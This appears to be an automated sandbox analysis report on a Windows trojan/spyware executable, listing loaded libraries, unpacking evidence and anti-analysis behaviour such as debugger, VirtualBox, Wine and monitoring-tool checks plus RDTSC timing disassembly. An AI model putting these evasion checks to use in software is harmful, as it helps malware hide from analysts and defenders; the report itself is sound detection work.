Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00B250A0 appears 82 times
Source: Hqle5OSmLQ.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: Hqle5OSmLQ.exeStatic PE information: Section: kowmzman ZLIB complexity 0.9945295095377332
Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@1/0@10/2
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AE255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_00AE255D
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AE29FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_00AE29FF
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeMutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: Hqle5OSmLQ.exeVirustotal: Detection: 48%
Source: Hqle5OSmLQ.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: Hqle5OSmLQ.exeString found in binary or memory: Unable to complete request for channel-process-startup
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSection loaded: kernel.appcore.dllJump to behavior
Source: Hqle5OSmLQ.exeStatic file information: File size 4512256 > 1048576
Source: Hqle5OSmLQ.exeStatic PE information: Raw size of is bigger than: 0x100000 < 0x289000
Source: Hqle5OSmLQ.exeStatic PE information: Raw size of kowmzman is bigger than: 0x100000 < 0x1c0e00

Data Obfuscation

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeUnpacked PE file: 0.2.Hqle5OSmLQ.exe.ae0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kowmzman:EW;sikkulpd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kowmzman:EW;sikkulpd:EW;.taggant:EW;
Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
Source: Hqle5OSmLQ.exeStatic PE information: real checksum: 0x4587f0 should be: 0x455b36
Source: Hqle5OSmLQ.exeStatic PE information: section name:
Source: Hqle5OSmLQ.exeStatic PE information: section name: .idata
Source: Hqle5OSmLQ.exeStatic PE information: section name:
Source: Hqle5OSmLQ.exeStatic PE information: section name: kowmzman
Source: Hqle5OSmLQ.exeStatic PE information: section name: sikkulpd
Source: Hqle5OSmLQ.exeStatic PE information: section name: .taggant
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F6C51C push esp; iretd 0_3_01F6C50A
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F7C303 push eax; ret 0_3_01F7C309
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F6C4FC push esp; iretd 0_3_01F6C50A
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F6C51C push esp; iretd 0_3_01F6C50A
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F7C303 push eax; ret 0_3_01F7C309
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F6C4FC push esp; iretd 0_3_01F6C50A
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F6C51C push esp; iretd 0_3_01F6C50A
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F7C303 push eax; ret 0_3_01F7C309
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F6C4FC push esp; iretd 0_3_01F6C50A
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F6C51C push esp; iretd 0_3_01F6C50A
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F7C303 push eax; ret 0_3_01F7C309
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F6C4FC push esp; iretd 0_3_01F6C50A
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E641D0 push eax; mov dword ptr [esp], edx0_2_00E641D5
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B62340 push eax; mov dword ptr [esp], 00000000h0_2_00B62343
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B9C7F0 push eax; mov dword ptr [esp], 00000000h0_2_00B9C743
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B3E92D push es; retf 0_2_00B3E92E
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B20AC0 push eax; mov dword ptr [esp], 00000000h0_2_00B20AC4
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B41430 push eax; mov dword ptr [esp], 00000000h0_2_00B41433
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B639A0 push eax; mov dword ptr [esp], 00000000h0_2_00B639A3
Source: Hqle5OSmLQ.exeStatic PE information: section name: kowmzman entropy: 7.9564462863177505

Boot Survival

barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeWindow searched: window name: RegmonClassJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeWindow searched: window name: RegmonclassJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeWindow searched: window name: FilemonclassJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeWindow searched: window name: RegmonclassJump to behavior

Malware Analysis System Evasion

barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: PROCMON.EXE
Source: Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: X64DBG.EXE
Source: Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: WINDBG.EXE
Source: Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BD0B4 second address: 13BD0C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnp 00007FA94CE91926h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BD0C1 second address: 13BD0CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BC2F7 second address: 13BC30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE91933h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF13F second address: 13BF145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF145 second address: 13BF149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF149 second address: 13BF1B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FA94CE93538h 0x0000000e nop 0x0000000f mov ecx, dword ptr [ebp+122D2947h] 0x00000015 mov edx, dword ptr [ebp+122D29B3h] 0x0000001b push 00000000h 0x0000001d jng 00007FA94CE9352Ah 0x00000023 mov dx, C3FFh 0x00000027 mov ecx, dword ptr [ebp+122D1CBCh] 0x0000002d call 00007FA94CE93529h 0x00000032 push ecx 0x00000033 jg 00007FA94CE9353Eh 0x00000039 pop ecx 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF1B8 second address: 13BF1BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF1BD second address: 13BF20A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FA94CE93530h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FA94CE93537h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e je 00007FA94CE9352Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF20A second address: 13BF25E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 mov esi, dword ptr [ebp+122D24B2h] 0x0000000c push 00000003h 0x0000000e xor edx, dword ptr [ebp+122D2DCBh] 0x00000014 mov dword ptr [ebp+122D2FC4h], edi 0x0000001a push 00000000h 0x0000001c mov dword ptr [ebp+122D1B62h], esi 0x00000022 push 00000003h 0x00000024 jnp 00007FA94CE91928h 0x0000002a mov cl, dh 0x0000002c or si, A28Ch 0x00000031 call 00007FA94CE91929h 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FA94CE91938h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF25E second address: 13BF293 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jg 00007FA94CE93537h 0x0000000f push edi 0x00000010 jmp 00007FA94CE9352Fh 0x00000015 pop edi 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push ecx 0x0000001b push edi 0x0000001c pushad 0x0000001d popad 0x0000001e pop edi 0x0000001f pop ecx 0x00000020 mov eax, dword ptr [eax] 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jns 00007FA94CE93526h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF293 second address: 13BF2A7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FA94CE91926h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF382 second address: 13BF388 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF388 second address: 13BF3C4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA94CE9192Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D1A02h], ebx 0x00000013 push 00000000h 0x00000015 sub dword ptr [ebp+122D310Dh], esi 0x0000001b push 9A7C6CAEh 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FA94CE91934h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF3C4 second address: 13BF3D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE93531h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF3D9 second address: 13BF43C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 658393D2h 0x0000000f mov edx, ebx 0x00000011 push 00000003h 0x00000013 pushad 0x00000014 xor dword ptr [ebp+1245EACCh], ebx 0x0000001a jmp 00007FA94CE91935h 0x0000001f popad 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007FA94CE91928h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 00000016h 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c mov dword ptr [ebp+122D1B01h], eax 0x00000042 push 00000003h 0x00000044 mov dh, 43h 0x00000046 push F3DC39B6h 0x0000004b pushad 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF43C second address: 13BF442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF442 second address: 13BF473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FA94CE91928h 0x0000000b popad 0x0000000c xor dword ptr [esp], 33DC39B6h 0x00000013 mov dword ptr [ebp+122D1A6Eh], ecx 0x00000019 lea ebx, dword ptr [ebp+1246203Ch] 0x0000001f mov edi, dword ptr [ebp+122D2FCCh] 0x00000025 xchg eax, ebx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 jnp 00007FA94CE91926h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF473 second address: 13BF481 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FA94CE9352Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF4D8 second address: 13BF4E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF4E4 second address: 13BF558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007FA94CE93528h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D1AC6h], edx 0x00000027 push 00000000h 0x00000029 call 00007FA94CE93529h 0x0000002e jmp 00007FA94CE9352Fh 0x00000033 push eax 0x00000034 jmp 00007FA94CE93534h 0x00000039 mov eax, dword ptr [esp+04h] 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 je 00007FA94CE93526h 0x00000046 jbe 00007FA94CE93526h 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF558 second address: 13BF591 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jne 00007FA94CE91932h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF591 second address: 13BF66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FA94CE93539h 0x0000000a popad 0x0000000b pop eax 0x0000000c movsx ecx, bx 0x0000000f mov ecx, 075757FAh 0x00000014 push 00000003h 0x00000016 or dword ptr [ebp+122D1B3Ch], esi 0x0000001c mov si, dx 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007FA94CE93528h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b jmp 00007FA94CE93537h 0x00000040 push 00000003h 0x00000042 jnc 00007FA94CE9352Ch 0x00000048 call 00007FA94CE93529h 0x0000004d jmp 00007FA94CE93534h 0x00000052 push eax 0x00000053 jg 00007FA94CE93534h 0x00000059 mov eax, dword ptr [esp+04h] 0x0000005d jno 00007FA94CE93531h 0x00000063 mov eax, dword ptr [eax] 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007FA94CE9352Dh 0x0000006e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13BF66A second address: 13BF683 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91935h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DDC77 second address: 13DDC93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA94CE93537h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DDC93 second address: 13DDCBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 jmp 00007FA94CE91937h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FA94CE91926h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DDE17 second address: 13DDE1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DDE1B second address: 13DDE34 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA94CE91926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FA94CE9192Ch 0x00000013 jo 00007FA94CE91926h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DDFB9 second address: 13DE03C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnp 00007FA94CE93544h 0x0000000b jng 00007FA94CE93526h 0x00000011 jmp 00007FA94CE93538h 0x00000016 jne 00007FA94CE93551h 0x0000001c jo 00007FA94CE93543h 0x00000022 jmp 00007FA94CE93537h 0x00000027 jnc 00007FA94CE93526h 0x0000002d popad 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DE475 second address: 13DE48B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA94CE91930h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DE713 second address: 13DE719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DE719 second address: 13DE76C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FA94CE91934h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007FA94CE9192Ch 0x00000011 jnl 00007FA94CE9192Ah 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b jne 00007FA94CE91926h 0x00000021 pushad 0x00000022 popad 0x00000023 pop ecx 0x00000024 je 00007FA94CE9193Ah 0x0000002a jmp 00007FA94CE9192Eh 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DE76C second address: 13DE770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DE770 second address: 13DE77C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FA94CE91926h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DE77C second address: 13DE780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DE8E7 second address: 13DE8EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DE8EB second address: 13DE90E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FA94CE93539h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DE90E second address: 13DE938 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91933h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c js 00007FA94CE91946h 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007FA94CE91926h 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DE938 second address: 13DE944 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
